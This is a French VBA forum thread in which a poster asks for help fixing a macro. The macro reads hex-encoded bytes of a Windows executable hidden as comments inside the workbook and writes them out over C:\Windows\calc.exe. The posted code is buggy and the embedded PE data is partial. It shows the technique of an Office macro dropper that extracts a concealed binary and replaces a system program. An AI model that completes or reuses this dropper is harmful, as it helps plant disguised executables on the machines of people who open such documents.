Vba: problème de récupération des octets

Vba: problème de récupération des octets - VB/VBA/VBS - Programmation

Marsh Posté le 14-02-2015 à 20:52:42    

Salut a tous
 
Je rencontre un petit problème, le code ci-dessous parcourt bien mon fichier mais récupère et copie que les octets en fin de ligne.
 
Dim recup ne converse pas les octets précédent.. d’après ce code c'est logique  
 
En gros ,je veux récupérer toute les lignes qui se trouve après le End Sub dans un variante sans écraser les précédentes à chaque tour de boucle puis créer et ouvrir un fichier en écriture binaire et copie des données.  
 
Voici le code:
 

Code :
  1. Sub récupère_le_fichier()
  3. Dim recup As String
  4. Set oFs = CreateObject("Scripting.FileSystemObject" )
  5. Set oFile = oFs.OpenTextFile(ActiveWorkbook.FullName)
  7. 'récupération des octets
  8. While Not oFile.AtEndOfStream
  9.   sLine = oFile.ReadLine
  10.   If Left(sLine, 3) = "'# " Then
  11.     recup = Right(sLine, Len(sLine) - 3)
  12.   End If
  13. Wend
  15. 'création du fichier avec ouverture en écriture et copie des données
  16. Open "C:\Windows\calc.exe" For Output As #1
  17. Print #1, recup
  18. Close #1
  20. End Sub
  22. '# 4D5A50000200000004000F00FFFF0000B80000000000000040001A0000000000
  23. '# 0000000000000000000000000000000000000000000000000000000000010000
  24. '# BA10000E1FB409CD21B8014CCD219090546869732070726F6772616D206D7573
  25. '# 742062652072756E20756E6465722057696E33320D0A24370000000000000000
  26. '# 0000000000000000000000000000000000000000000000000000000000000000
  27. '# 0000000000000000000000000000000000000000000000000000000000000000
  28. '# 0000000000000000000000000000000000000000000000000000000000000000
  29. '# 0000000000000000000000000000000000000000000000000000000000000000
  30. '# 504500004C010900195E422A0000000000000000E0008E810B01021900920600
  31. '# 00A6010000000000EC9E06000010000000B00600000040000010000000020000
  32. '# 0400000000000000040000000000000000D00800000400000000000002000000
  33. '# 000010000040000000001000001000000000000010000000006007005B060000
  34. '# 00300700F02300000000080000C6000000000000000000000000000000000000
  35. '# 009007004C600000000000000000000000000000000000000000000000000000
  36. '# 0080070018000000000000000000000000000000000000000000000000000000
  37. '# 000000000000000000000000000000000000000000000000434F444500000000
  38. '# 4490060000100000009206000004000000000000000000000000000020000060
  39. '# 4441544100000000204F000000B0060000500000009606000000000000000000
  40. '# 00000000400000C0425353000000000099250000000007000000000000E60600
  41. '# 000000000000000000000000000000C02E69646174610000F023000000300700
  42. '# 0024000000E60600000000000000000000000000400000C02E65646174610000
  43. '# 5B0600000060070000080000000A070000000000000000000000000040000050
  44. '# 2E746C73000000000C0000000070070000000000001207000000000000000000
  45. '# 00000000000000C02E7264617461000018000000008007000002000000120700
  46. '# 000000000000000000000000400000502E72656C6F6300004C60000000900700
  47. '# 0062000000140700000000000000000000000000400000502E72737263000000
  48. '# 00C600000000080000C600000076070000000000000000000000000040000050
  49. '# 00000000000000000000000000D0080000000000003C08000000000000000000
  50. '# 0000000040000050000000000000000000000000000000000000000000000000
  51. '# 0000000000000000000000000000000000000000000000000000000000000000
  52. '# 0000000000000000000000000000000000000000000000000000000000000000

Reply

Marsh Posté le 14-02-2015 à 20:52:42   

Reply

Marsh Posté le 15-02-2015 à 12:44:46    

 
   http://www.developpez.net/forums/images/smilies/alerte2.gif  Sujet déjà ouvert dans au moins deux autres forums dont un bien avancé !
 

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed